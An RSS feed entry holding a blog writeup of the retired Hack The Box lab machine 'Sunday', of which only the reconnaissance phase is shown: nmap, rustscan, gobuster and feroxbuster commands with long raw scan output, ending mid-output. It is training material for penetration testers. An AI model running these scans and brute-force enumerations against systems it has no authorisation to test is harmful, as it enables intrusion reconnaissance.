<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Geranard on Medium]]></title>
        <description><![CDATA[Stories by Geranard on Medium]]></description>
        <link>https://medium.com/@geranard?source=rss-18216447fa9b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*B-38uW6t7O9ZTjTYjikY_Q.jpeg</url>
            <title>Stories by Geranard on Medium</title>
            <link>https://medium.com/@geranard?source=rss-18216447fa9b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 00:39:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@geranard/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Sunday HTB Writeup]]></title>
            <link>https://geranard.medium.com/sunday-htb-writeup-f0a443adff63?source=rss-18216447fa9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0a443adff63</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Geranard]]></dc:creator>
            <pubDate>Fri, 29 Sep 2023 14:07:19 GMT</pubDate>
            <atom:updated>2023-09-29T14:07:19.493Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone. Hope this finds you in good health. In this opportunity, I’d like to share my experience or writeup on solving one of the retired machine in HTB named Sunday.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-6zz1RuxFtZQx2CVyaWSg.png" /><figcaption>Sunday HTB information card</figcaption></figure><h3>Enumeration</h3><p>nmap and rustscan.</p><pre>nmap<br>Command: nmap -A -p- -T4 -Pn -vv -oN nmap-report-tcp.txt 10.10.10.76<br>Result:<br>Nmap scan report for 10.10.10.76<br>Host is up, received user-set (0.30s latency).<br>Not shown: 65501 closed tcp ports (conn-refused)<br>PORT      STATE    SERVICE     REASON      VERSION<br>79/tcp    open     finger?     syn-ack<br>|_finger: No one logged on\x0D<br>| fingerprint-strings: <br>|   GenericLines: <br>|     No one logged on<br>|   GetRequest: <br>|     Login Name TTY Idle When Where<br>|     HTTP/1.0 ???<br>|   HTTPOptions: <br>|     Login Name TTY Idle When Where<br>|     HTTP/1.0 ???<br>|     OPTIONS ???<br>|   Help: <br>|     Login Name TTY Idle When Where<br>|     HELP ???<br>|   RTSPRequest: <br>|     Login Name TTY Idle When Where<br>|     OPTIONS ???<br>|     RTSP/1.0 ???<br>|   SSLSessionReq, TerminalServerCookie: <br>|_    Login Name TTY Idle When Where<br>111/tcp   open     rpcbind     syn-ack     2-4 (RPC #100000)<br>515/tcp   open     printer     syn-ack<br>3749/tcp  filtered cimtrak     no-response<br>...<br>4876/tcp  filtered tritium-can no-response<br>6787/tcp  open     ssl/http    syn-ack     Apache httpd 2.4.33 ((Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14)<br>| http-title: Solaris Dashboard<br>|_Requested resource was https://10.10.10.76:6787/solaris/<br>|_http-server-header: Apache/2.4.33 (Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>| tls-alpn: <br>|_  http/1.1<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=sunday<br>| Subject Alternative Name: DNS:sunday<br>| Issuer: commonName=sunday/organizationName=Host Root CA<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-12-08T19:40:00<br>| Not valid after:  2031-12-06T19:40:00<br>| MD5:   6bd3:4b32:c05a:e5fe:a8c8:61f0:4361:414a<br>| SHA-1: a5eb:c880:968c:84aa:10b2:a944:bad2:56ca:aed5:b66a<br>| -----BEGIN CERTIFICATE-----<br>| MIIC4DCCAcqgAwIBAgIHAIqqcz45jjALBgkqhkiG9w0BAQswKDEVMBMGA1UEChMM<br>| SG9zdCBSb290IENBMQ8wDQYDVQQDEwZzdW5kYXkwHhcNMjExMjA4MTk0MDAwWhcN<br>| MzExMjA2MTk0MDAwWjARMQ8wDQYDVQQDEwZzdW5kYXkwggEiMA0GCSqGSIb3DQEB<br>| AQUAA4IBDwAwggEKAoIBAQC67wVPVDRPU/Sahp2QnHx2NlMUQrkyBJrr4TSjS9v6<br>| /DFKqf3m2XnYuKyFl9BAO8Mi+Hz3ON4nZWmigZGX6LnJpci6whB89pLZdcogruB8<br>| YMyGuP8y2v3orEBLQ5NrcP6fcKLMp+6PXurvuZDgPH+oXHJyp/w//pkBROQRC0oN<br>| 8dx7Zq2t4ZfDiqhgw1j79V7kZNOjKp8gU1HmQ/BjYEaOfVZNwuTVyqUtfcjuxIio<br>| JEHaVmhNV9Xp9DAOLBFuTXpsJe3anSjGGP0DWMyNOps2VrZUyJwC22U5jlcp7Rj/<br>| WWE5gnm6ClH44DXlKMIt8O2vq0MfqvvGeSIFbSOPb6Q3AgMBAAGjKjAoMBEGA1Ud<br>| EQQKMAiCBnN1bmRheTATBgNVHSUEDDAKBggrBgEFBQcDATALBgkqhkiG9w0BAQsD<br>| ggEBAC/f3nN6ur2oSSedYNIkf6/+MV3qu8xE+Cqt/SbSk0uSmQ7hYpMhc8Ele/gr<br>| Od0cweaClKXEhugRwfVW5jmjJXrnSZtOpyz09dMhZMA9RJ9efVfnrn5Qw5gUriMx<br>| dFMrAnOIXsFu0vnRZLJP7E95NHpZVECnRXCSPjp4iPe/vyl1OuoVLBhoOwZ8O7zw<br>| WlP/51SiII8LPNyeq+01mCY0mv3RJD9uAeNJawnFwsCo/Tg9/mjk0zxUMaXm80Bb<br>| qsSmST23vYwuPw3c/91fJI4dWb7uEZJa55hRIU0uMPOLOUpN1kKkGPO+7QCzfedc<br>| WPptRhU+2UMGhFXHyGV5EJp2zvc=<br>|_-----END CERTIFICATE-----<br>...<br>22022/tcp open     ssh         syn-ack     OpenSSH 7.5 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsG4q9TS6eAOrX6zI+R0CMMkCTfS36QDqQW5NcF/v9vmNWyL6xSZ8x38AB2T+Kbx672RqYCtKmHcZMFs55Q3hoWQE7YgWOJhXw9agE3aIjXiWCNhmmq4T5+zjbJWbF4OLkHzNzZ2qGHbhQD9Kbw9AmyW8ZS+P8AGC5fO36AVvgyS8+5YbA05N3UDKBbQu/WlpgyLfuNpAq9279mfq/MUWWRNKGKICF/jRB3lr2BMD+BhDjTooM7ySxpq7K9dfOgdmgqFrjdE4bkxBrPsWLF41YQy3hV0L/MJQE2h+s7kONmmZJMl4lAZ8PNUqQe6sdkDhL1Ex2+yQlvbyqQZw3xhuJ<br>|   256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII/0DH8qZiCfAzZNkSaAmT39TyBUFFwjdk8vm7ze+Wwm<br>...<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port79-TCP:V=7.94%I=7%D=9/23%Time=650F0A2D%P=x86_64-pc-linux-gnu%r(Gene<br>SF:ricLines,12,&quot;No\x20one\x20logged\x20on\r\n&quot;)%r(GetRequest,93,&quot;Login\x20<br>SF:\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x2<br>SF:0\x20When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nGET\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\<br>SF:?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\<br>SF:?\?\?\r\n&quot;)%r(Help,5D,&quot;Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x2<br>SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\nHELP\<br>SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\?\?\?\r\n&quot;)%r(HTTPOptions,93,&quot;Login\x20\x20\x20\x20\x20\x20\x20Name\x2<br>SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x2<br>SF:0\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\<br>SF:r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20\?\?\?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x20\x20\x20\x20\x20\x20\x20\<br>SF:x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n&quot;)%r(RTSPRequest,93,&quot;Login\x20\x20<br>SF:\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x2<br>SF:0When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nRTSP/1\.0\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n&quot;)%r(SS<br>SF:LSessionReq,5D,&quot;Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x<br>SF:20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\n\x16\x03\x20<br>SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\?\?\?\r\n&quot;)%r(TerminalServerCookie,5D,&quot;Login\x20\x20\x20\x20\x20\<br>SF:x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20<br>SF:\x20\x20Where\r\n\x03\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n&quot;);<br><br>rustscan<br>Command: rustscan -a 10.10.10.76 -r 1-65535 --ulimit 5000 -- -A<br>Result:<br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: http://discord.skerritt.blog           :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>Nmap? More like slowmap.🐢<br><br>[~] Automatically increasing ulimit value to 5000.<br>Open 10.10.10.76:111<br>Open 10.10.10.76:79<br>Open 10.10.10.76:515<br>Open 10.10.10.76:6787<br>Open 10.10.10.76:22022<br>[~] Starting Script(s)<br>[&gt;] Running script &quot;nmap -vvv -p {{port}} {{ip}} -A&quot; on ip 10.10.10.76<br>Depending on the complexity of the script, results may take some time to appear.<br>[~] Starting Nmap 7.94 ( https://nmap.org )<br>...<br>Scanning 10.10.10.76 [5 ports]<br>...<br><br>PORT      STATE SERVICE  REASON  VERSION<br>79/tcp    open  finger?  syn-ack<br>| fingerprint-strings: <br>|   GenericLines: <br>|     No one logged on<br>|   GetRequest: <br>|     Login Name TTY Idle When Where<br>|     HTTP/1.0 ???<br>|   HTTPOptions: <br>|     Login Name TTY Idle When Where<br>|     HTTP/1.0 ???<br>|     OPTIONS ???<br>|   Help: <br>|     Login Name TTY Idle When Where<br>|     HELP ???<br>|   RTSPRequest: <br>|     Login Name TTY Idle When Where<br>|     OPTIONS ???<br>|     RTSP/1.0 ???<br>|   SSLSessionReq, TerminalServerCookie: <br>|_    Login Name TTY Idle When Where<br>|_finger: No one logged on\x0D<br>111/tcp   open  rpcbind  syn-ack 2-4 (RPC #100000)<br>515/tcp   open  printer  syn-ack<br>6787/tcp  open  ssl/http syn-ack Apache httpd 2.4.33 ((Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14)<br>|_http-server-header: Apache/2.4.33 (Unix) OpenSSL/1.0.2o mod_wsgi/4.5.1 Python/2.7.14<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>| ssl-cert: Subject: commonName=sunday<br>| Subject Alternative Name: DNS:sunday<br>| Issuer: commonName=sunday/organizationName=Host Root CA<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-12-08T19:40:00<br>| Not valid after:  2031-12-06T19:40:00<br>| MD5:   6bd3:4b32:c05a:e5fe:a8c8:61f0:4361:414a<br>| SHA-1: a5eb:c880:968c:84aa:10b2:a944:bad2:56ca:aed5:b66a<br>| -----BEGIN CERTIFICATE-----<br>| MIIC4DCCAcqgAwIBAgIHAIqqcz45jjALBgkqhkiG9w0BAQswKDEVMBMGA1UEChMM<br>| SG9zdCBSb290IENBMQ8wDQYDVQQDEwZzdW5kYXkwHhcNMjExMjA4MTk0MDAwWhcN<br>| MzExMjA2MTk0MDAwWjARMQ8wDQYDVQQDEwZzdW5kYXkwggEiMA0GCSqGSIb3DQEB<br>| AQUAA4IBDwAwggEKAoIBAQC67wVPVDRPU/Sahp2QnHx2NlMUQrkyBJrr4TSjS9v6<br>| /DFKqf3m2XnYuKyFl9BAO8Mi+Hz3ON4nZWmigZGX6LnJpci6whB89pLZdcogruB8<br>| YMyGuP8y2v3orEBLQ5NrcP6fcKLMp+6PXurvuZDgPH+oXHJyp/w//pkBROQRC0oN<br>| 8dx7Zq2t4ZfDiqhgw1j79V7kZNOjKp8gU1HmQ/BjYEaOfVZNwuTVyqUtfcjuxIio<br>| JEHaVmhNV9Xp9DAOLBFuTXpsJe3anSjGGP0DWMyNOps2VrZUyJwC22U5jlcp7Rj/<br>| WWE5gnm6ClH44DXlKMIt8O2vq0MfqvvGeSIFbSOPb6Q3AgMBAAGjKjAoMBEGA1Ud<br>| EQQKMAiCBnN1bmRheTATBgNVHSUEDDAKBggrBgEFBQcDATALBgkqhkiG9w0BAQsD<br>| ggEBAC/f3nN6ur2oSSedYNIkf6/+MV3qu8xE+Cqt/SbSk0uSmQ7hYpMhc8Ele/gr<br>| Od0cweaClKXEhugRwfVW5jmjJXrnSZtOpyz09dMhZMA9RJ9efVfnrn5Qw5gUriMx<br>| dFMrAnOIXsFu0vnRZLJP7E95NHpZVECnRXCSPjp4iPe/vyl1OuoVLBhoOwZ8O7zw<br>| WlP/51SiII8LPNyeq+01mCY0mv3RJD9uAeNJawnFwsCo/Tg9/mjk0zxUMaXm80Bb<br>| qsSmST23vYwuPw3c/91fJI4dWb7uEZJa55hRIU0uMPOLOUpN1kKkGPO+7QCzfedc<br>| WPptRhU+2UMGhFXHyGV5EJp2zvc=<br>|_-----END CERTIFICATE-----<br>| http-title: Solaris Dashboard<br>|_Requested resource was https://10.10.10.76:6787/solaris/<br>| tls-alpn: <br>|_  http/1.1<br>|_ssl-date: TLS randomness does not represent time<br>22022/tcp open  ssh      syn-ack OpenSSH 7.5 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsG4q9TS6eAOrX6zI+R0CMMkCTfS36QDqQW5NcF/v9vmNWyL6xSZ8x38AB2T+Kbx672RqYCtKmHcZMFs55Q3hoWQE7YgWOJhXw9agE3aIjXiWCNhmmq4T5+zjbJWbF4OLkHzNzZ2qGHbhQD9Kbw9AmyW8ZS+P8AGC5fO36AVvgyS8+5YbA05N3UDKBbQu/WlpgyLfuNpAq9279mfq/MUWWRNKGKICF/jRB3lr2BMD+BhDjTooM7ySxpq7K9dfOgdmgqFrjdE4bkxBrPsWLF41YQy3hV0L/MJQE2h+s7kONmmZJMl4lAZ8PNUqQe6sdkDhL1Ex2+yQlvbyqQZw3xhuJ<br>|   256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII/0DH8qZiCfAzZNkSaAmT39TyBUFFwjdk8vm7ze+Wwm<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port79-TCP:V=7.94%I=7%D=9/23%Time=650F023F%P=x86_64-pc-linux-gnu%r(Gene<br>SF:ricLines,12,&quot;No\x20one\x20logged\x20on\r\n&quot;)%r(GetRequest,93,&quot;Login\x20<br>SF:\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x2<br>SF:0\x20When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nGET\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\<br>SF:?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\<br>SF:?\?\?\r\n&quot;)%r(Help,5D,&quot;Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x2<br>SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\nHELP\<br>SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\?\?\?\r\n&quot;)%r(HTTPOptions,93,&quot;Login\x20\x20\x20\x20\x20\x20\x20Name\x2<br>SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x2<br>SF:0\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\<br>SF:r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20\?\?\?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x20\x20\x20\x20\x20\x20\x20\<br>SF:x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n&quot;)%r(RTSPRequest,93,&quot;Login\x20\x20<br>SF:\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x2<br>SF:0When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nRTSP/1\.0\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n&quot;)%r(SS<br>SF:LSessionReq,5D,&quot;Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x<br>SF:20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\n\x16\x03\x20<br>SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\?\?\?\r\n&quot;)%r(TerminalServerCookie,5D,&quot;Login\x20\x20\x20\x20\x20\<br>SF:x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20<br>SF:\x20\x20Where\r\n\x03\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n&quot;)<br>...</pre><p>Skimming for a bit, I found that port 6787 is opened.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iFXDCJ-KrFW2F6ZQMNVqFw.png" /><figcaption>Content of sunday.htb on port 6787</figcaption></figure><p>I try to use default credentials, but no result. Looking at the “view source” found that this is an Oracle product that released in 2018, approximately.</p><p>With nothing found, I head to directory busting using gobuster and feroxbuster.</p><pre>Gobuster<br>Command: gobuster dir -u https://sunday.htb:6787 -w /usr/share/wordlists/dirb/common.txt -x php -k<br>Result:<br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     https://sunday.htb:6787<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Extensions:              php<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 213]<br>/.hta.php             (Status: 403) [Size: 217]<br>/.htaccess            (Status: 403) [Size: 218]<br>/.htaccess.php        (Status: 403) [Size: 222]<br>/.htpasswd            (Status: 403) [Size: 218]<br>/.htpasswd.php        (Status: 403) [Size: 222]<br>/~http                (Status: 403) [Size: 214]<br>/~http.php            (Status: 403) [Size: 218]<br>/~httpd.php           (Status: 403) [Size: 219]<br>/~httpd               (Status: 403) [Size: 215]<br>/jhtml                (Status: 403) [Size: 214]<br>/jhtml.php            (Status: 403) [Size: 218]<br>/phtml.php            (Status: 403) [Size: 218]<br>/phtml                (Status: 403) [Size: 214]<br>/rhtml                (Status: 403) [Size: 214]<br>/rhtml.php            (Status: 403) [Size: 218]<br>/server-status        (Status: 403) [Size: 222]<br>/shtml                (Status: 403) [Size: 214]<br>/shtml.php            (Status: 403) [Size: 218]<br>/solaris              (Status: 302) [Size: 216] [--&gt; https://sunday.htb:6787/solaris/]<br>/xhtml                (Status: 403) [Size: 214]<br>/xhtml.php            (Status: 403) [Size: 218]<br>===============================================================                                   <br>Finished                                                                                          <br>===============================================================<br><br>Feroxbuster<br>Command: feroxbuster -u https://sunday.htb:6787 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x sh,sql,csv,xlsx,php,txt -k -C 404<br>Result:<br></pre><p>Lots of 403 (Forbidden) from gobuster. Feroxbuster found /solaris/index.html and found nothing there, only loading animation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*macQW-Tqgvo9kbSDSJ77QQ.png" /><figcaption>/solaris/index.html</figcaption></figure><p>While waiting for feroxbuster finish it’s enumeration, I try to look again at nmap result and found one port which is opened but nmap doesn’t know what service is it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*OSHvYz0LzFNUIg5WhJOMLA.png" /><figcaption>Using netcat to sunday.htb port 79</figcaption></figure><p>The port itself is interesting. I use nmap to see what it is. Based on google, the service it held is finger. So, I search for finger.nse on /usr/share/nmap/scripts and use it as a script.</p><pre>Command: sudo nmap -p 79 -sV -O -vv --script=finger sunday.htb<br>PORT   STATE SERVICE REASON         VERSION<br>79/tcp open  finger? syn-ack ttl 59<br>| fingerprint-strings: <br>|   GenericLines: <br>|     No one logged on<br>|   GetRequest: <br>|     Login Name TTY Idle When Where<br>|     HTTP/1.0 ???<br>|   HTTPOptions: <br>|     Login Name TTY Idle When Where<br>|     HTTP/1.0 ???<br>|     OPTIONS ???<br>|   Help: <br>|     Login Name TTY Idle When Where<br>|     HELP ???<br>|   RTSPRequest: <br>|     Login Name TTY Idle When Where<br>|     OPTIONS ???<br>|     RTSP/1.0 ???<br>|   SSLSessionReq, TerminalServerCookie: <br>|_    Login Name TTY Idle When Where<br>|_finger: No one logged on\x0D<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port79-TCP:V=7.94%I=7%D=9/26%Time=65130D9F%P=x86_64-pc-linux-gnu%r(Gene<br>SF:ricLines,12,&quot;No\x20one\x20logged\x20on\r\n&quot;)%r(GetRequest,93,&quot;Login\x20<br>SF:\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x2<br>SF:0\x20When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nGET\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\<br>SF:?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\<br>SF:?\?\?\r\n&quot;)%r(Help,5D,&quot;Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x2<br>SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\nHELP\<br>SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\?\?\?\r\n&quot;)%r(HTTPOptions,93,&quot;Login\x20\x20\x20\x20\x20\x20\x20Name\x2<br>SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x2<br>SF:0\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\<br>SF:r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20\?\?\?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x20\x20\x20\x20\x20\x20\x20\<br>SF:x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n&quot;)%r(RTSPRequest,93,&quot;Login\x20\x20<br>SF:\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x2<br>SF:0When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nRTSP/1\.0\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n&quot;)%r(SS<br>SF:LSessionReq,5D,&quot;Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x<br>SF:20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\n\x16\x03\x20<br>SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2<br>SF:0\x20\?\?\?\r\n&quot;)%r(TerminalServerCookie,5D,&quot;Login\x20\x20\x20\x20\